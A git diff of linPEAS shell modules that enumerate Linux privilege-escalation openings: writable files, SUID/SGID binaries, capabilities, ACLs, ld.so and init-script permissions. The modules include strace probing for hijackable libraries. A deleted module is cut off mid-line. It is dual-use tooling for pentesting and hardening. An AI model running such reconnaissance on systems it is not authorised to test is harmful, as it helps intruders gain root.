a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/14_Writable_files_owner_all.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/14_Writable_files_owner_all.sh new file mode 100644 index 0000000..b0d9134 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/14_Writable_files_owner_all.sh @@ -0,0 +1,30 @@ +# Title: Interesting Permissions Files - Writable files by ownership or all +# ID: IP_Writable_files_owner_all +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Interesting writable files owned by me or writable by everyone (not in Home) +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $HOME, $IAMROOT, $ITALIC, $notExtensions, $ROOT_FOLDER, $USER, $writeVB, $writeB +# Initial Functions: +# Generated Global Variables: $obmowbe +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$IAMROOT" ]; then + print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 200)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" + #In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all + obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n 200) + printf "%s\n" "$obmowbe" | while read l; do + if echo "$l" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$l\n"$NC; + elif echo "$l" | grep -qE "$writeVB"; then + echo "$l" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," + else + echo "$l" | sed -${E} "s,$writeB,${SED_RED}," + fi + done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/15_Writable_files_group.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/15_Writable_files_group.sh new file mode 100644 index 0000000..7e69cdb --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/15_Writable_files_group.sh @@ -0,0 +1,34 @@ +# Title: Interesting Permissions Files - Interesting writable files by group +# ID: IP_Writable_files_group +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Interesting GROUP writable files (not in Home) +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $DEBUG, $HOME, $IAMROOT, $notExtensions, $ROOT_FOLDER, $writeVB, $writeB +# Initial Functions: +# Generated Global Variables: $iwfbg +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$IAMROOT" ]; then + print_2title "Interesting GROUP writable files (not in Home) (max 200)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" + for g in $(groups); do + iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n 200) + if [ "$iwfbg" ] || [ "$DEBUG" ]; then + printf " Group $GREEN$g:\n$NC"; + printf "%s\n" "$iwfbg" | while read l; do + if echo "$l" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$l\n"$NC; + elif echo "$l" | grep -Eq "$writeVB"; then + echo "$l" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," + else + echo "$l" | sed -${E} "s,$writeB,${SED_RED}," + fi + done + fi + done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/1_SUID.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/1_SUID.sh new file mode 100644 index 0000000..ea6d730 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/1_SUID.sh @@ -0,0 +1,99 @@ +# Title: Interesting Permissions Files - SUID +# ID: IP_SUID +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: SUID - Check easy privesc, exploits and write perms +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $IAMROOT, $LDD, $ROOT_FOLDER, $READELF, $sidB, $sidG1, $sidG2, $sidG3, $sidG4, $sidVB, $sidVB2, $STRACE, $STRINGS, $TIMEOUT, $Wfolders, $cfuncs +# Initial Functions: +# Generated Global Variables: $suids_files, $sname, $sline_first, $sline, $OLD_LD_LIBRARY_PATH, $LD_LIBRARY_PATH +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "SUID - Check easy privesc, exploits and write perms" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" +if ! [ "$STRINGS" ]; then + echo_not_found "strings" +fi +if ! [ "$STRACE" ]; then + echo_not_found "strace" +fi +suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null) +printf "%s\n" "$suids_files" | while read s; do + s=$(ls -lahtr "$s") + #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder + if echo "$s" | grep -qE "^total"; then break; fi + + sname="$(echo $s | awk '{print $9}')" + if [ "$sname" = "." ] || [ "$sname" = ".." ]; then + true #Don't do nothing + elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then + echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED}," + elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits) + echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + c="a" + for b in $sidB; do + if echo $s | grep -q $(echo $b | cut -d % -f 1); then + echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m," + c="" + break; + fi + done; + if [ "$c" ]; then + if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then + echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW}," + else + echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED}," + printf $ITALIC + if ! [ "$FAST" ]; then + + if [ "$STRINGS" ]; then + $STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do + sline_first="$(echo "$sline" | cut -d ' ' -f1)" + if echo "$sline_first" | grep -qEv "$cfuncs"; then + if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path + if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable + printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n" + fi + else #If not a path + if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary + printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n" + fi + fi + fi + done + fi + + if [ "$LDD" ] || [ "$READELF" ]; then + echo "$ITALIC --- Checking for writable dependencies of $sname...$NC" + fi + if [ "$LDD" ]; then + "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + fi + if [ "$READELF" ]; then + "$READELF" -d "$sname" | grep PATH | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + fi + + if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ -x "$sname" ]; then + printf $ITALIC + echo "----------------------------------------------------------------------------------------" + echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..." + OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH + export LD_LIBRARY_PATH="" + timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g" + printf $NC + export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH + echo "----------------------------------------------------------------------------------------" + echo "" + fi + + fi + fi + fi + fi +done; +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/2_SGID.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/2_SGID.sh new file mode 100644 index 0000000..e2eed11 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/2_SGID.sh @@ -0,0 +1,93 @@ +# Title: Interesting Permissions Files - SGID +# ID: IP_SGID +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: SGID +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $cfuncs, $IAMROOT, $LDD, $READELF, $ROOT_FOLDER, $sidB, $sidG1, $sidG2, $sidG3, $sidG4, $sidVB, $sidVB2, $STRACE, $STRINGS, $TIMEOUT, $Wfolders +# Initial Functions: +# Generated Global Variables: $sgids_files, $sname, $sline_first, $sline, $LD_LIBRARY_PATH, $OLD_LD_LIBRARY_PATH +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "SGID" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" +sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null) +printf "%s\n" "$sgids_files" | while read s; do + s=$(ls -lahtr "$s") + #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder + if echo "$s" | grep -qE "^total";then break; fi + + sname="$(echo $s | awk '{print $9}')" + if [ "$sname" = "." ] || [ "$sname" = ".." ]; then + true #Don't do nothing + elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then + echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED}," + elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits) + echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + c="a" + for b in $sidB; do + if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then + echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m," + c="" + break; + fi + done; + if [ "$c" ]; then + if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then + echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW}," + else + echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED}," + printf $ITALIC + if ! [ "$FAST" ]; then + + if [ "$STRINGS" ]; then + $STRINGS "$sname" | sort | uniq | while read sline; do + sline_first="$(echo $sline | cut -d ' ' -f1)" + if echo "$sline_first" | grep -qEv "$cfuncs"; then + if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path + if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable + printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n" + fi + else #If not a path + if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary + printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n" + fi + fi + fi + done + fi + + if [ "$LDD" ] || [ "$READELF" ]; then + echo "$ITALIC --- Checking for writable dependencies of $sname...$NC" + fi + if [ "$LDD" ]; then + "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + fi + if [ "$READELF" ]; then + "$READELF" -d "$sname" | grep PATH | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + fi + + if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ -x "$sname" ]; then + printf $ITALIC + echo "----------------------------------------------------------------------------------------" + echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..." + OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH + export LD_LIBRARY_PATH="" + timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g" + printf $NC + export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH + echo "----------------------------------------------------------------------------------------" + echo "" + fi + + fi + fi + fi + fi +done; +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/3_Files_ACLs.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/3_Files_ACLs.sh new file mode 100644 index 0000000..4ac2476 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/3_Files_ACLs.sh @@ -0,0 +1,27 @@ +# Title: Interesting Permissions Files - ACLs +# ID: IP_Files_ACLs +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Files with ACLs +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $HOMESEARCH, $knw_usrs, $MACPEAS, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Files with ACLs (limited to 50)" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls" +if ! [ "$SEARCH_IN_FOLDER" ]; then + ( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," +else + ( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," +fi + +if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl || echo -n '')" ]; then #Find ACL files in macos (veeeery slow) + ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," +fi +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/4_Capabilities.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/4_Capabilities.sh new file mode 100644 index 0000000..7d4472a --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/4_Capabilities.sh @@ -0,0 +1,78 @@ +# Title: Interesting Permissions Files - Capabilities +# ID: IP_Capabilities +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Capabilities +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info, print_3title +# Global Variables: $capsB, $capsVB, $IAMROOT, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: $cap_name, $cap_value, $cap_line, $capVB, $capname, $capbins, $capsVB_vuln +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Capabilities" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities" + if [ "$(command -v capsh || echo -n '')" ]; then + + print_3title "Current shell capabilities" + cat "/proc/$$/status" | grep Cap | while read -r cap_line; do + cap_name=$(echo "$cap_line" | awk '{print $1}') + cap_value=$(echo "$cap_line" | awk '{print $2}') + if [ "$cap_name" = "CapEff:" ]; then + echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")" + else + echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")" + fi + done + echo "" + + print_info "Parent process capabilities" + cat "/proc/$PPID/status" | grep Cap | while read -r cap_line; do + cap_name=$(echo "$cap_line" | awk '{print $1}') + cap_value=$(echo "$cap_line" | awk '{print $2}') + if [ "$cap_name" = "CapEff:" ]; then + echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")" + else + echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")" + fi + done + echo "" + + else + print_3title "Current shell capabilities" + (cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status" + echo "" + + print_3title "Parent proc capabilities" + (cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status" + echo "" + fi + echo "" + echo "Files with capabilities (limited to 50):" + getcap -r / 2>/dev/null | head -n 50 | while read cb; do + capsVB_vuln="" + + for capVB in $capsVB; do + capname="$(echo $capVB | cut -d ':' -f 1)" + capbins="$(echo $capVB | cut -d ':' -f 2)" + if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then + echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW}," + capsVB_vuln="1" + break + fi + done + + if ! [ "$capsVB_vuln" ]; then + echo "$cb" | sed -${E} "s,$capsB,${SED_RED}," + fi + + if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then + echo "$cb is writable" | sed -${E} "s,.*,${SED_RED}," + fi + done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/5_Users_with_capabilities.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/5_Users_with_capabilities.sh new file mode 100644 index 0000000..bcfe1ba --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/5_Users_with_capabilities.sh @@ -0,0 +1,24 @@ +# Title: Interesting Permissions Files - Users with capabilities +# ID: IP_Users_with_capabilities +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Users with capabilities +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $DEBUG, $knw_usrs, $nosh_usrs, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then + print_2title "Users with capabilities" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities" + if [ -f "/etc/security/capability.conf" ]; then + grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," + else echo_not_found "/etc/security/capability.conf" + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/6_Misconfigured_ldso.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/6_Misconfigured_ldso.sh new file mode 100644 index 0000000..c0395f2 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/6_Misconfigured_ldso.sh @@ -0,0 +1,78 @@ +# Title: Interesting Permissions Files - Misconfigured ld.so +# ID: IP_Misconfigured_ldso +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Checking misconfigurations of ld.so +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $IAMROOT, $ITALIC, $SEARCH_IN_FOLDER, $USER, $Wfolders, $wgroups +# Initial Functions: +# Generated Global Variables: $ini_path, $fpath +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then + print_2title "Checking misconfigurations of ld.so" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so" + if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then + echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + printf $RED$ITALIC"/etc/ld.so.conf\n"$NC; + else + printf $GREEN$ITALIC"/etc/ld.so.conf\n"$NC; + fi + + echo "Content of /etc/ld.so.conf:" + cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + + # Check each configured folder + cat /etc/ld.so.conf 2>/dev/null | while read l; do + if echo "$l" | grep -q include; then + ini_path=$(echo "$l" | cut -d " " -f 2) + fpath=$(dirname "$ini_path") + + if [ -d "/etc/ld.so.conf" ] && [ -w "$fpath" ]; then + echo "You have write privileges over $fpath" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + printf $RED_YELLOW$ITALIC"$fpath\n"$NC; + else + printf $GREEN$ITALIC"$fpath\n"$NC; + fi + + if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then + echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + fi + + for f in $fpath/*; do + if [ -w "$f" ]; then + echo "You have write privileges over $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + printf $RED_YELLOW$ITALIC"$f\n"$NC; + else + printf $GREEN$ITALIC" $f\n"$NC; + fi + + cat "$f" | grep -v "^#" | while read l2; do + if [ -f "$l2" ] && [ -w "$l2" ]; then + echo "You have write privileges over $l2" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + printf $RED_YELLOW$ITALIC" - $l2\n"$NC; + else + echo $ITALIC" - $l2"$NC | sed -${E} "s,$l2,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"; + fi + done + done + fi + done + echo "" + + + if [ -f "/etc/ld.so.preload" ] && [ -w "/etc/ld.so.preload" ]; then + echo "You have write privileges over /etc/ld.so.preload" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + else + printf $ITALIC$GREEN"/etc/ld.so.preload\n"$NC; + fi + cat /etc/ld.so.preload 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + cat /etc/ld.so.preload 2>/dev/null | while read l; do + if [ -f "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + done + +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/7_Files_etc_profile_d.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/7_Files_etc_profile_d.sh new file mode 100644 index 0000000..5e1f78c --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/7_Files_etc_profile_d.sh @@ -0,0 +1,25 @@ +# Title: Interesting Permissions Files - /etc/profile.d/ +# ID: IP_Files_etc_profile_d +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Files (scripts) in /etc/profile.d/ +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_critial_root_path, echo_not_found, print_2title, print_info +# Global Variables: $IAMROOT, $MACPEAS, $profiledG, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Files (scripts) in /etc/profile.d/" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files" + if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS + (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/" + check_critial_root_path "/etc/profile" + check_critial_root_path "/etc/profile.d/" + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/8_Files_etc_init_d.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/8_Files_etc_init_d.sh new file mode 100644 index 0000000..93ec818 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/8_Files_etc_init_d.sh @@ -0,0 +1,30 @@ +# Title: Interesting Permissions Files - /etc/profile.d/ +# ID: IP_Files_etc_init_d +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Permissions in init, init.d, systemd, and rc.d +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_critial_root_path, print_2title, print_info +# Global Variables: $IAMROOT, $MACPEAS, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then +print_2title "Permissions in init, init.d, systemd, and rc.d" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d" + if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS + check_critial_root_path "/etc/init/" + check_critial_root_path "/etc/init.d/" + check_critial_root_path "/etc/rc.d/init.d" + check_critial_root_path "/usr/local/etc/rc.d" + check_critial_root_path "/etc/rc.d" + check_critial_root_path "/etc/systemd/" + check_critial_root_path "/lib/systemd/" + fi + + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files/9_App_armour_profiles.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/9_App_armour_profiles.sh new file mode 100644 index 0000000..5b6e241 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/8_interesting_perms_files/9_App_armour_profiles.sh @@ -0,0 +1,22 @@ +# Title: Interesting Permissions Files - AppArmor profiles +# ID: IP_App_armour_profiles +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: AppArmor profiles to prevent suid/capabilities abuse +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then + print_2title "AppArmor binary profiles" + ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\." + echo "" + fi +fi diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files.sh b/linPEAS/builder/linpeas_parts/9_interesting_files.sh deleted file mode 100644 index bb085cb..0000000 --- a/linPEAS/builder/linpeas_parts/9_interesting_files.sh +++ /dev/null @@ -1,315 +0,0 @@ -########################################### -#----------) Interesting files (----------# -########################################### - - -##-- IF) .sh files in PATH -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title ".sh files in path" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path" - echo $PATH | tr ":" "\n" | while read d; do - for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do - if ! [ "$IAMROOT" ] && [ -O "$f" ]; then - echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED}," - elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then # If write permision, win found (no check exploits) - echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW}," - else - echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},"; - fi - done - done - echo "" - - broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken) - if [ "$broken_links" ] || [ "$DEBUG" ]; then - print_2title "Broken links in path" - echo $PATH | tr ":" "\n" | while read d; do - find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},"; - done - echo "" - fi -fi - -##-- IF) Date times inside firmware -if [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Files datetimes inside the firmware (limit 50)" - find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50 - echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ 